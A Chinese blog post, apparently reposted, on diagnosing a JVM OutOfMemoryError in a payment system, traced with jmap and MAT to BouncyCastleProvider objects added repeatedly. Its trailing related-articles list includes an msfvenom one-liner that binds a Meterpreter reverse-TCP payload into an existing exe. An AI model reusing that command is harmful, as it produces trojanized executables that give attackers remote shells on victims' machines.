排查和解决JVM OOM实战

news2024/11/29 0:53:46

JVM OOM介绍

Java内存区域布局

下面的分析中都是基于JDK 8开始的。关于JMM不过多介绍每个区域的作用。OOM不单只会发生在堆内存,也可能是因为元空间或直接内存泄漏导致OOM,此时在OOM的详细信息中会有不同体现。

Java OOM的类别

java.lang.OutOfMemoryError: GC overhead limit exceeded

JVM 98%的CPU时间都在执行GC,并且每次GC回收空间小于堆内存的2% 基本就是应用不可用的状态了!

可能原因:1.堆内存设置过小 2.内存泄漏

java.lang.OutOfMemoryError: Java heap space

JVM 堆内存无法再分配对象。

可能原因:1.堆内存设置过小 2.内存泄漏 3.对象实现finalize方法不当,回收速度跟不上finalization queue入队速度

java.lang.OutOfMemoryError: Metaspace

元空间是直接用本地内存,受限于MaxMetaSpaceSize参数。存放的类对象信息过多导致元空间溢出。

可能原因:1.元空间过小 2.动态代理造成类对象过多

java.lang.OutOfMemoryError: request size bytes for reason. Out of swap space?

很少出现。通常是JVM的本地堆内存无法再分配对象导致。

java.lang.OutOfMemoryError: Compressed class space

很少出现。

java.lang.OutOfMemoryError: reason stack_trace_with_native_method

很少出现。摘自Orcale JDK Document

If the detail part of the error message is "reason stack_trace_with_native_method" and a stack trace is printed in which the top frame is a native method, then this is an indication that a native method has encountered an allocation failure. The difference between this and the previous message is that the allocation failure was detected in a Java Native Interface (JNI) or native method rather than in the JVM code.

沃尔玛支付中台实际案例

我在沃尔玛中国的科技部工作的时候,负责过支付中台的研发,我接手的时候还是一个刚起步的系统。我负责的一年半时间中,接入门店从2家扩展到全国200家门店。日支付单量从7、8千到80~100万的规模。为全国的山姆会员店自助收银机、沃尔玛大卖场自助收银机、线上山姆会籍系统提供支付退款结算能力。中间的过程不是一帆风顺,在一个元旦假期还遇到OOM的线上事故(后面排查出是前同事的老代码导致),造成门店大面积停用自助收银机,顾客被迫转向人工收银和小程序线上缴费等其它支付通道。

问题表现

第一次发生OOM问题时候,排查日志发现OOM前十分钟,日志显示请求进来的线程都在运行到某个时刻全部被hoding。再也没有日志输出,原本业务代码中正常时刻会输出日志。直到OOM错误出现。整个服务表现为不可用状态。后来导出的jstack日志显示所有线程都是BLOCKED状态。观察日志发现线程号貌似增长到50+。Kevin判断是请求外部接口时遇到了很大的延迟导致线程没释放而外部请求堆积越来越多,最终消耗完了内存。

于是按照这个判断给HTTP接口加上限流和告警监控,毕竟没有办法干预外部第三方支付接口。以为事情就解决了,但是......

在元旦假期的时候下午5点支付中台又发生了OOM。6g的堆内存,4g的old gen全部拉满,观察听云old gen从昨天一直满的到现在。查看full gc频率,基本20分钟内发生200+次full gc,查看日志也是显示 GC overhead limit exceeded error 代表应用98%的时间都在执行GC,并且每次GC回收空间小于堆内存的2% 基本就是应用不可用的状态了!

门店也反馈收银支付十分慢,表现就是卡死!周一被军训和被吊打是免不了的了。最后排查发现是前同事擅自改了银联SDK,把CertUtil从静态类改成对象,每次银联请求时都创建对象,直接触发了底层的一个坑。

排查过程

基于基础知识我们知道,OOM的类别中GC overhead limit exceeded error,很大概率是老年代堆内存发生了泄漏,导致GC一直没办法有效释放对象,进而引发不断地Full GC,整个服务用户进程的CPU时间都用在GC线程上了,用户线程反而得不到CPU时间,服务就假死了。立即新启动几个服务节点顶上,新节点内存会缓慢的上升直至OOM,中间有一段可用时间,可以恢复服务能力。

排查内存泄漏,一般无法从代码看出来哪里泄漏了。所以我们得想办法拿到内存快照,用:jmap -dump:live,format=b,file=filename.bin pid

这个命令可以导出堆内存中存活的对象,因为我们排查内存泄漏所以只要求存活对象。使用前注意:jmap为了收集准确的堆内存使用情况会暂停jvm的用户线程和gc线程。所以造成STW。具体STW时长取决于导出的堆内存大小正相关。

关于jmap是否会造成STW可看stackoverflow一篇文章:

java - Is a JVM stopped while executing jmap? - Stack Overflow

jmap导致stw造成生产事故的例子:

memory - Java : Get heap dump without jmap or without hanging the application - Stack Overflow

其中文章内提了一些避免STW同时获取堆内存快照的做法,例如用gdb命令。fork进程,然后在子进程dump,fork可能会占用大量额外内存在主进程同时对同一个地址空间的内存大量写动作,就会有copy-on-wirte发生,会分配新内存页copy旧的内存页让主进程在新的内存页写入。

以上做法其实都不推荐,也没有实践过。正确且成熟的做法应该是在网关层或负载层把机器节点摘掉,验证没有流量后,再使用jmap导出堆内存快照,这时候你想怎么搞就怎么搞。

当晚等到新节点内存涨到一定规模后,即将发生FGC,摘流用jmap导出内存快照,下载到本地分析。每台服务器两个快照,一共4个。最大的快照8.4G。把快照下到本地,用MAT打开分析。提前要调整好MAT的maxHeapSize,不然MAT无法装载快照。

把快照导入后,8.4G大概加载了30分钟,然后就按照提示选择 Leak Suspects 分析,完毕后会给出内存对象占用空间的饼图,并且给出 problem a b 等推测泄漏对象/类。基本逐个查看泄漏对象的details,例如看这个对象的dominator tree等等

使用MAT分析泄漏点

本次事故中,在Problem Suspect 中很明显可以看到是一个 JceSecurity对象占了5.2G内存,这肯定是不正常的。果然就是内存泄漏了。details中在支配树中看到JceSecurity有一个IdentityHashMap内部用的Object[]数组保存Entry。这个数组中有6000+个BouncyCastleProvider对象,总共占了5.2G内存。为什么这个对象不会被回收?进一步看这个对象的 Path to GC roots,排除所有弱引用、虚引用。可以看到gc root就是JceSecurity对象,这个对象MAT提示是System class,是一个GC root不会被回收的。

结合源码看,JceSecurity里的map是一个static final修饰,map是常量的,也就是6000+多个provider对象被map持有强引用所以一直释放不了。

OK!这就很明显的泄漏就是这个provider对象了,但是这里只找到了泄漏对象。这个对象我也不认识,也不记得代码里哪里用到了它。

根据网上的教程,也没通过MAT查找到源码级别哪个地方泄漏了provider,幸运地在代码里全局搜索BouncyCastleProvider,很快在银联的SDK中找到这个对象的使用。并且是Security.add(new BouncyCastleProvider()) 这样明显的代码。再看这段代码是每次创建CertUtils对象会执行的代码。很自然怀疑是这个地方,于是在本地复现,简单的死循环调用 Security.add(new BouncyCastleProvider()),通过VMVisual监控JVM进程的堆内存变化,很正常的释放,provider对象数量涨到一定程度又降下去了。

难道不是这里?最后在QA服务器,压测银联的查询接口,jstat监控堆内存的使用量,几十分钟后发现old gen一直无法释放内存,并且开始频繁full gc。dump了内存快照到本地查看,果然和生产的快照显示一样,是JceSecurity占了大部分内存!

那么就可以确定是银联CertUtil的问题,查看官网的原对象使用,人家是静态类,会在static代码块调用一次 Security.add(new BouncyCastleProvider())。但是我们的代码是每次创建CertUtil造成每次调用Security.add(new BouncyCastleProvider())。

但问题是为什么死循环没复现泄漏问题呢?后来查资料可能是没有使用加解密代码,并且用VMVisual查看JceSecurity对象没有生成,虽然产生了很多provider但因为没有强引用,都被GC了。

结果

最后通过修正相关代码,避免每次都add Provider。再次发布QA,压测银联查询接口,dump快照,没有发现大量占内存的对象。jstat观察old gen也基本平缓,没有full gc产生。发布生产环境,跑一段时间再看看。到这里基本可以确定是修复了这个泄漏问题了。

总结排查手段和思路

如果一个服务发生了OOM,要判断是什么类型的OOM。然后对症排查分析。我们日常工作中最常出现的就是堆内存的OOM。先看是内存设置是否合理,其次看是否流量暴增导致,最后要怀疑内存泄漏。

如果是内存泄漏,可以通过jstat先简单查看GC情况,表现应为old区经历了FGC或old gc仍然无法释放内存,并且连续每次几乎都是这种情况,就可以高度怀疑是内存泄漏。通过摘流、jmap导快照、MAT分析、源码分析一套连招下来,大部分内存泄漏可以被定为到泄漏点然后修复。

找到泄漏点后更严谨的,需要在本地环境或QA环境进行复现。然后修复后再次进行复现,验证是否修复。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2192115.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CSS 布局——清除浮动 (二)

目录 1. 清除浮动 2. 清除浮动本质 3. 清除浮动 4. 清除浮动方法 4.1 额外标签法 4.1.1 总结 4.2 父级添加 overflow 4.3 after 伪元素法 4.4 双伪元素清除浮动 5 总结 1. 清除浮动 这是上面的源代码&#xff1a; <!DOCTYPE html> <html lang"en"&…

飞书消息转发

飞书是字节跳动开发的一个款即时通讯软件 不同与微信和钉钉&#xff0c;飞书是基于Electron的跨平台桌面客户端&#xff08;主要开发语言是JavaScript&#xff09;&#xff0c;程序运行在chrom内核中&#xff0c;所以HOOK方案不好使 针对Electron 框架&#xff0c;打包后的应用…

京东e卡滑块 分析

声明 本文章中所有内容仅供学习交流使用&#xff0c;不用于其他任何目的&#xff0c;抓包内容、敏感网址、数据接口等均已做脱敏处理&#xff0c;严禁用于商业用途和非法用途&#xff0c;否则由此产生的一切后果均与作者无关&#xff01; 有相关问题请第一时间头像私信联系我删…

AI2.0时代,普通小白如何通过AI月入30万

最近这2年AI真的太火了&#xff0c;很多人都在讨论怎么用AI赚钱、提高效率。其实&#xff0c;我觉得AI并没有那么复杂&#xff0c;尤其是如果你不做AI底层研究&#xff0c;只是利用它来帮你省事、提效、赚钱&#xff0c;那就像当初学用电脑、用手机一样简单。你不需要懂AI的技术…

《数据结构》--栈【概念应用、图文并茂】

本节讲完栈下次再讲一下队列&#xff0c;最后补充一个串&#xff0c;我们的线性结构基本就完事了。下图中黄色框框圈中的是我们今日份内容(分为两篇博客)&#xff1a; 知识体系图 栈(Stack-LIFO)结构 栈的基础概念 栈(Stack)是一个后进先出(Last-In-First-Out)的一个特殊数据…

【Linux的那些事】shell命名及Linux权限的理解

目录 一、shell命令以及运行原理 二、Linux权限的概念 三、Linux权限管理 3.1.文件访问者的分类&#xff08;人&#xff09; 3.2.文件类型和访问权限&#xff08;事物属性&#xff09; 3.3.文件权限值的表示方法 3.4.文件访问权限的相关设置方法 a)chmod b)chown c)…

MSF捆绑文件

msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe

在线教育的未来:SpringBoot技术实现

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及&#xff0c;互联网成为人们查找信息的重要场所&#xff0c;二十一世纪是信息的时代&#xff0c;所以信息的管理显得特别重要。因此&#xff0c;使用计算机来管理微服务在线教育系统的相关信息成为必然。开…

二进制的神奇操作——拆位法和贡献思想

拆位的引入 我们来思考这么一个问题&#xff0c;如果给你一个数组&#xff0c;让你去求一个数组里面所有连续子串的异或和的和&#xff0c;问你该怎么求&#xff1f; 我们该如何去处理&#xff0c;首先肯定是会想到暴力的思路&#xff0c;第一层循环遍历左端点&#xff0c;第…

算法闭关修炼百题计划(三)

减轻复习压力&#xff0c;一篇只有十题左右 1.反转链表II2.LRU缓存3.合并区间4.快速排序5.数字中的第k个最大元素6.归并排序7.每种字符至少取k个8.螺旋矩阵II9.旋转图像10.删除数组中重复的元素II 1.反转链表II 给你单链表的头指针 head 和两个整数 left 和 right &#xff0c…

洗车行软件系统有哪些 佳易王洗车店会员管理系统操作教程#洗车店会员软件试用版下载

一、前言 【试用版软件下载可点击本文章最下方官网卡片】 洗车行软件系统有哪些 佳易王洗车店会员管理系统操作教程#洗车店会员软件试用版下载 洗车管理软件应用是洗车业务的得力助手&#xff0c;实现会员管理及数据统计一体化&#xff0c;助力店铺高效、有序运营。 洗车项…

年薪96w!这才是运营人未来5年最好的就业方向!

运营人&#xff0c;终于被逼疯了&#xff01; 一个人一个部门&#xff01;文案、策划、拍摄、剪辑、运营、销售什么都做。企业利润为王&#xff0c;阅读量、粉丝量要是不能转化为业绩&#xff0c;注定拿不到高薪…… **活干了一大堆&#xff0c;一看工资8000块&#xff0c;**…

【黑马点评】 使用RabbitMQ实现消息队列——2.使用RabbitMQ监听秒杀下单

2 使用RabbitMQ实现消息队列 2.1 修改\hm-dianping\pom.xmlpom.xml文件 添加RabbitMQ的环境 <!-- RabbitMQ--> <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-amqp</artifactId> </depe…

从零开始,她如何为客户创建语义知识图谱?

在这篇文章中&#xff0c;Capgemini 的知识图谱负责人 Veronika Heimsbakk 分享了她为客户创建语义知识模型的方法。阅读本指南&#xff0c;了解她如何与客户合作&#xff0c;从头开始构建语义知识模型&#xff0c;并发现可以应用于您自己的语义建模项目的实践。 如何为客户构…

微积分-反函数6.5(指数增长和衰减)

在许多自然现象中&#xff0c;数量的增长或衰减与其大小成正比。例如&#xff0c;如果 y f ( t ) y f(t) yf(t) 表示在时间 t t t 时某种动物或细菌种群的个体数量&#xff0c;那么似乎可以合理地假设增长速率 f ’ ( t ) f’(t) f’(t) 与种群 f ( t ) f(t) f(t) 成正比…

在实际芯片里,电阻电容电感是怎么制作的

一、电阻 以前的半导体工艺中&#xff0c;使用图形化和掺杂后的硅制作电阻&#xff0c;电阻值的高低取决于长度、线宽、结深和掺杂浓度。现在一般都使用多晶硅制作IC芯片上的电阻&#xff0c;多晶硅的线宽高度、宽度和掺杂浓度决定了电阻值大小。 为什么用多晶硅做电阻呢&am…

【IO】多路转接Select

一、初识 select 系统提供 select 函数来实现多路复用输入/输出模型. select 系统调用是用来让我们的程序监视多个文件描述符的状态变化的;程序会停在 select 这里等待&#xff0c;直到被监视的文件描述符有一个或多个发生了状态改变; select 函数原型 C #include <sys/…

u盘拷贝文件管控如何实现?4个方法一举搞定,一文详解!100%纯干货,赶快码住!

数字化办公日益普及&#xff0c;U盘作为便携的数据存储设备&#xff0c;在文件传输和备份中扮演着重要角色。 然而&#xff0c;U盘的使用也带来了数据泄露的风险&#xff0c;如何有效管控U盘拷贝文件呢&#xff1f;u盘拷贝文件管控如何实现&#xff1f; 本文&#xff0c;将详细…

winforms基本操作-将datagridview内容保存为excel文件

title: winforms基本操作-将datagridview内容保存为excel文件 tags: [winforms, windows, datagridview] categories: [客户端, windows, winforms] 这里记录一下将winforms展示的datagridview&#xff0c;导出或保存为excel文件。 这里说一下环境、版本信息&#xff1a; win系…

在线教育系统开发:SpringBoot框架的实战应用

4系统概要设计 4.1概述 本系统采用B/S结构(Browser/Server,浏览器/服务器结构)和基于Web服务两种模式&#xff0c;是一个适用于Internet环境下的模型结构。只要用户能连上Internet,便可以在任何时间、任何地点使用。系统工作原理图如图4-1所示&#xff1a; 图4-1系统工作原理…